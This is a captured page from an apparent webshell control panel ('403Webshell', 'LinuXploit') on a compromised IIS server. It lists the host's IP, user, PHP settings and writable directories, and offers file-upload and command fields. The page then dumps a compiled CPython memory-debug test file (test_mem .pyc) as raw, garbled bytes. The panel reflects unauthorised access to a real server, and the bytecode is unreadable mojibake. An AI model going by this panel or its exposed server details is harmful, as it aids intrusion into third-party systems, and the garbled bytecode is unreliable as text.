403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.144
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_capi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_capi/__pycache__/test_mem.cpython-313.pyc
�

��i���R�SSKrSSKrSSKrSSKJr SSKJrJr SSKJ	r	J
r
 \R"S5r\R"S5r
\"5"SS\R55r\R "5"S	S
\55r\R$"\R&"5S5"SS
\55r\R$"\R*"5S5"SS\55r\R$"\R.S5"SS\55r\S:Xa\R4"5 gg)�N)�support)�
import_helper�requires_subprocess)�assert_python_failure�assert_python_ok�	_testcapi�_testinternalcapic��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSr\R$"\R(S5S5rSrg)�PyMemDebugTests��debugz(?:0x)?[0-9a-fA-F]+c���[R"5 [SUURSS9nSSS5 WRnURSS5$!,(df   N,=f)N�-c�
junk:false��PYTHONMALLOC�MALLOC_CONF�ascii�replace)r�SuppressCrashReportrr�err�decode)�self�code�out�stderrs    �,C:\Python313\\Lib\test\test_capi\test_mem.py�check�PyMemDebugTests.checksU��
�
(�
(�
*�'��d�!�.�.�)��C�+������}�}�W�i�0�0�+�
*�s�A�
A!c���URS5nSnURURS9n[R"U[R
S9nUR
X5 g)Nz3import _testcapi; _testcapi.pymem_buffer_overflow()a6Debug memory block at address p={ptr}: API 'm'\n    16 bytes originally requested\n    The [0-9] pad bytes at p-[0-9] are FORBIDDENBYTE, as expected.\n    The [0-9] pad bytes at tail={ptr} are not all FORBIDDENBYTE \(0x[0-9a-f]{{2}}\):\n        at tail\+0: 0x78 \*\*\* OUCH\n        at tail\+1: 0xfd\n        at tail\+2: 0xfd\n        .*\n(    The block was made by call #[0-9]+ to debug malloc/realloc.\n)?    Data at p: cd cd cd .*\n\nEnable tracemalloc to get the memory block allocation traceback\n\nFatal Python error: _PyMem_DebugRawFree: bad trailing pad byte��ptr)�flags)r�format�	PTR_REGEX�re�compile�DOTALL�assertRegex�rr�regexs   r�test_buffer_overflow�$PyMemDebugTests.test_buffer_overflow"sQ���j�j�N�O��
S���������0���
�
�5��	�	�2������$�c�~�URS5nSnURURS9nURX5 g)Nz.import _testcapi; _testcapi.pymem_api_misuse()a�Debug memory block at address p={ptr}: API 'm'\n    16 bytes originally requested\n    The [0-9] pad bytes at p-[0-9] are FORBIDDENBYTE, as expected.\n    The [0-9] pad bytes at tail={ptr} are FORBIDDENBYTE, as expected.\n(    The block was made by call #[0-9]+ to debug malloc/realloc.\n)?    Data at p: cd cd cd .*\n\nEnable tracemalloc to get the memory block allocation traceback\n\nFatal Python error: _PyMem_DebugRawFree: bad ID: Allocated using API 'm', verified using API 'r'\nr!)rr$r%r)r*s   r�test_api_misuse�PyMemDebugTests.test_api_misuse6s=���j�j�I�J��	w���������0������$r.c�L�URU5nSnURX25 g)Nz^Fatal Python error: _PyMem_DebugMalloc: Python memory allocator called without holding the GIL)r�assertIn)rrr�expecteds    r�check_malloc_without_gil�(PyMemDebugTests.check_malloc_without_gilEs$���j�j����M���
�
�h�$r.c�*�SnURU5 g)Nz6import _testcapi; _testcapi.pymem_malloc_without_gil()�r5�rrs  r�test_pymem_malloc_without_gil�-PyMemDebugTests.test_pymem_malloc_without_gilKs��H���%�%�d�+r.c�*�SnURU5 g)Nz9import _testcapi; _testcapi.pyobject_malloc_without_gil()r8r9s  r� test_pyobject_malloc_without_gil�0PyMemDebugTests.test_pyobject_malloc_without_gilQs��K���%�%�d�+r.c�d�[R"SUS35n[SUURSS9 g)Nz�
            import gc, os, sys, _testinternalcapi
            # Disable the GC to avoid crash on GC collection
            gc.disable()
            _testinternalcapi.z�()
            # Exit immediately to avoid a crash while deallocating
            # the invalid object
            os._exit(0)
        rrr)�textwrap�dedentrr)r�	func_namers   r�check_pyobject_is_freed�'PyMemDebugTests.check_pyobject_is_freedWsA�����$� )�k�*	�	 �
��	��$��*�*�$�	
r.c�&�URS5 g)N�check_pyobject_null_is_freed�rC�rs r�test_pyobject_null_is_freed�+PyMemDebugTests.test_pyobject_null_is_freedgs���$�$�%C�Dr.c�&�URS5 g)N�%check_pyobject_uninitialized_is_freedrGrHs r�$test_pyobject_uninitialized_is_freed�4PyMemDebugTests.test_pyobject_uninitialized_is_freedjs���$�$�%L�Mr.c�&�URS5 g)N�'check_pyobject_forbidden_bytes_is_freedrGrHs r�&test_pyobject_forbidden_bytes_is_freed�6PyMemDebugTests.test_pyobject_forbidden_bytes_is_freedms���$�$�%N�Or.c�&�URS5 g)N�check_pyobject_freed_is_freedrGrHs r�test_pyobject_freed_is_freed�,PyMemDebugTests.test_pyobject_freed_is_freedps���$�$�%D�Er.zcannot test Py_TRACE_REFS buildc�&�Sn[SU5up#nUR5n[US5H`upgURSU5 UR	S5Gtp�[U	5n	UR
X�S-5 URX�S-S-
5 Mb g)Na*if 1:
            import _testcapi

            class C(): pass

            # The first loop tests both functions and that remove_mem_hooks()
            # can be called twice in a row. The second loop checks a call to
            # set_nomemory() after a call to remove_mem_hooks(). The third
            # loop checks the start and stop arguments of set_nomemory().
            for outer_cnt in range(1, 4):
                start = 10 * outer_cnt
                for j in range(100):
                    if j == 0:
                        if outer_cnt != 3:
                            _testcapi.set_nomemory(start)
                        else:
                            _testcapi.set_nomemory(start, start + 1)
                    try:
                        C()
                    except MemoryError as e:
                        if outer_cnt != 3:
                            _testcapi.remove_mem_hooks()
                        print('MemoryError', outer_cnt, j)
                        _testcapi.remove_mem_hooks()
                        break
        r�sMemoryError� �
�)r�
splitlines�	enumerater3�split�int�assertLessEqual�assertGreaterEqual)
rr�rcrr�lines�i�line�_�counts
          r�test_set_nomemory�!PyMemDebugTests.test_set_nomemoryus�����4(��d�3������� �� ���*�G�A��M�M�.�#�.��
�
�4�(�I�Q���J�E�� � ��"��-��#�#�E�R�4��6�2�+r.�N)�__name__�
__module__�__qualname__�__firstlineno__rr%rr,r0r5r:r=rCrIrMrQrU�unittest�skipIfr�
Py_TRACE_REFSrh�__static_attributes__rjr.rrrsn���L�&�I�
1�%�(
%�%�,�,�
� E�N�P�F�
�_�_�W�*�*�,M�N�"3�O�"3r.rc��\rSrSrSrSrg)�PyMemMallocDebugTests��malloc_debugrjN�rkrlrmrnrrrrjr.rrtrt�s��!�Lr.rtz
need pymallocc��\rSrSrSrSrg)�PyMemPymallocDebugTests��pymalloc_debugrjNrwrjr.rryry����#�Lr.ryzneed mimalocc��\rSrSrSrSrg)�PyMemMimallocDebugTests��mimalloc_debugrjNrwrjr.rr~r~�r|r.r~z
need Py_DEBUGc��\rSrSrSrSrg)�PyMemDefaultTests��rjNrwrjr.rr�r��s	���Lr.r��__main__)r&r@ro�testr�test.supportrr�test.support.script_helperrr�
import_modulerr	�TestCaser�requires_gil_enabledrt�
skipUnless�
with_pymallocry�
with_mimallocr~�Py_DEBUGr�rk�mainrjr.r�<module>r�s/��	����;�N�

�'�'��4�	�!�/�/�0C�D����G3�h�'�'�G3��G3�V	����"�O�"� �"�
���W�*�*�,�o�>�$�o�$�?�$�
���W�*�*�,�n�=�$�o�$�>�$�
���W�%�%��7����8��
�z���M�M�O�r.

Youez - 2016 - github.com/yon3zu
LinuXploit